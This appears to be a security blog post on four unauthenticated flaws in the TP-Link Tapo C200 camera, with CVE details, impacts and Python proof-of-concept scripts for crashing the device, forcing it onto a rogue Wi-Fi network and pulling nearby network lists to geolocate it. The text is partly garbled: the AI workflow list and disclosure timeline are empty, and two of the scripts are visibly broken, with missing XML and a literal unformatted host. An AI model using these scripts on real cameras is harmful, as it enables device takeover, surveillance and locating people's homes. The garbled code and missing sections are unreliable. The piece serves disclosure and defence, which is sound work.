Critical TP‑Link Tapo C200 Camera Vulnerabilities Exposed by AI‑Assisted Reverse Engineering

The TP‑Link Tapo C200 security camera is affected by four critical vulnerabilities—including CVE‑2025‑8065, CVE‑2025‑14299, CVE‑2025‑14300, and an unauthenticated Wi‑Fi scanning flaw—that allow remote attackers to crash the device, hijack its network connection, and even locate it physically.

Why the Tapo C200 Matters in the IoT Landscape

The TP‑Link Tapo C200 is one of the most popular indoor security cameras on the market, praised for its sub‑$20 price point, 1080p video, and easy‑to‑use mobile app. Its affordability has driven massive adoption in homes, small businesses, and even hobbyist projects, making it a prime target for attackers seeking a low‑cost foothold into private networks. As of 2025, an estimated 25,000 units are publicly reachable on the Internet, according to Shodan scans.

Given its widespread deployment, any flaw in the firmware can have a cascading impact on privacy, data integrity, and even physical safety. This is why the recent original security research by Evilsocket attracted immediate attention from the security community.

TP‑Link Tapo C200: Technical Snapshot

• Processor: MIPS‑based SoC, 400 MHz
• Memory: 64 MB RAM, 16 MB flash
• Connectivity: 2.4 GHz Wi‑Fi (802.11b/g/n), Ethernet (optional)
• Firmware delivery: Encrypted binaries hosted on a public AWS S3 bucket
• Supported protocols: ONVIF, RTSP, HTTPS (self‑signed cert)

These specifications make the camera a classic “IoT sandbox” for reverse engineers: a compact firmware image, a known network stack, and a mobile companion app that can be decompiled for clues.

AI‑Assisted Reverse‑Engineering Workflow

Modern security research increasingly relies on generative AI to accelerate analysis. The workflow applied to the Tapo C200 combined traditional tooling with large‑language‑model (LLM) assistance, producing a MECE‑structured investigation:

This hybrid approach allowed the researcher to focus on high‑value reasoning while the AI handled repetitive pattern‑matching and documentation tasks.

Discovered Vulnerabilities

The analysis uncovered four distinct, pre‑authentication flaws. Each is described below with its CVE identifier, technical root cause, and a concise PoC.

CVE‑2025‑8065 – ONVIF SOAP XML Parser Buffer Overflow

Vector: The ONVIF service listens on TCP 2020. The function soap_parse_and_validate_request forwards XML elements to ds_parse without bounds checking, enabling a memory overflow when thousands of <SimpleItem> nodes are supplied.

Impact: Remote crash (Denial‑of‑Service) and potential arbitrary code execution on a 32‑bit MIPS environment.

CVSS v4.0: 7.1 (High)

#!/usr/bin/env python3
import urllib.request, sys
TARGET = sys.argv[1]
params = ''.join([f'' for i in range(100000)])
body = f'''{params}'''
req = urllib.request.Request(f"http://{TARGET}:2020/onvif/service", data=body.encode())
req.add_header('Content-Type','application/soap+xml')
urllib.request.urlopen(req)

CVE‑2025‑14299 – HTTPS Content‑Length Integer Overflow

Vector: The HTTPS server parses the Content‑Length header with a plain atoi() call, storing the result in a signed 32‑bit integer. Supplying 4294967295 triggers an overflow, corrupting internal buffers and crashing the service.

Impact: Remote DoS; the overflow can be leveraged to overwrite adjacent memory structures, raising the possibility of remote code execution.

CVSS v4.0: 7.1 (High)

#!/usr/bin/env python3
import socket, ssl, sys
TARGET = sys.argv[1]
payload = "POST / HTTP/1.1\r\nHost: {TARGET}\r\nContent-Length: 4294967295\r\n\r\nAAAA"
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(socket.socket(), server_hostname=TARGET)
sock.connect((TARGET,443))
sock.send(payload.encode())

CVE‑2025‑14300 – Unauthenticated Wi‑Fi Hijacking (connectAp)

Vector: The connectAp JSON RPC endpoint is reachable without any authentication check, even after the device is provisioned. An attacker can force the camera to join a rogue SSID.

Impact: Complete network takeover, remote video interception, and persistent access even after the legitimate owner changes Wi‑Fi credentials.

CVSS v4.0: 8.7 (High)

#!/usr/bin/env python3
import urllib.request, ssl, json, sys
TARGET = sys.argv[1]
payload = json.dumps({
  "method":"connectAp",
  "params":{"onboarding":{"connect":{
    "ssid":"EVIL_NETWORK","bssid":"11:11:11:11:11:11","auth":3,
    "encryption":2,"rssi":3,"password":"hacked","pwd_encrypted":0}}}})
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(f"https://{TARGET}/", data=payload.encode())
req.add_header('Content-Type','application/json')
urllib.request.urlopen(req, context=ctx)

Unauthenticated Wi‑Fi Network Scanning (scanApList)

Vector: The scanApList RPC method returns a JSON array of all Wi‑Fi networks visible to the camera, again without authentication.

Impact: Attackers can enumerate nearby SSIDs, BSSIDs, and signal strengths, then cross‑reference BSSIDs with public location services (e.g., Apple’s Wi‑Fi location API) to pinpoint the camera’s physical location within a few meters.

#!/usr/bin/env python3
import urllib.request, ssl, json, sys
TARGET = sys.argv[1]
payload = json.dumps({"method":"scanApList","params":{}})
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(f"https://{TARGET}/", data=payload.encode())
req.add_header('Content-Type','application/json')
resp = urllib.request.urlopen(req, context=ctx)
print(resp.read().decode())

Impact Assessment & Privacy Implications

Collectively, these flaws expose three attack surfaces:

• Service stability: Buffer overflows and integer overflows can render the camera inoperable, causing denial‑of‑service for end users.
• Network control: The unauthenticated connectAp endpoint lets an adversary redirect traffic through a malicious Wi‑Fi, enabling man‑in‑the‑middle attacks on live video streams.
• Geolocation leakage: The scanApList data, when combined with public BSSID‑to‑location databases, reveals the exact location of a private residence or business.

Beyond the immediate technical risk, the presence of a hard‑coded private key (extracted from the firmware) means that any HTTPS traffic can be decrypted by anyone possessing the firmware image—effectively nullifying the camera’s TLS protection.

Responsible Disclosure Timeline & TP‑Link’s Response

The delay highlights a common challenge in IoT security: vendors often prioritize feature releases over rapid patch cycles, leaving devices exposed for months.

Conclusion: Securing IoT Firmware Is No Longer Optional

The TP‑Link Tapo C200 case demonstrates how AI‑assisted reverse engineering can surface deep‑seated flaws in a matter of days, even in devices that appear “well‑maintained.” For organizations deploying IoT at scale, the lesson is clear:

1. Adopt a continuous firmware monitoring program that includes automated decryption and static analysis.
2. Require vendors to provide transparent vulnerability disclosure timelines and enforce contractual security SLAs.
3. Leverage AI‑driven tooling (e.g., AI Reverse Engineering) to keep pace with the growing attack surface.

By integrating these practices, security teams can shift from reactive patching to proactive risk mitigation, protecting both data and privacy.

Read the original report here.

Explore more on ubos.tech: Security Research, AI Reverse Engineering, Vulnerabilities.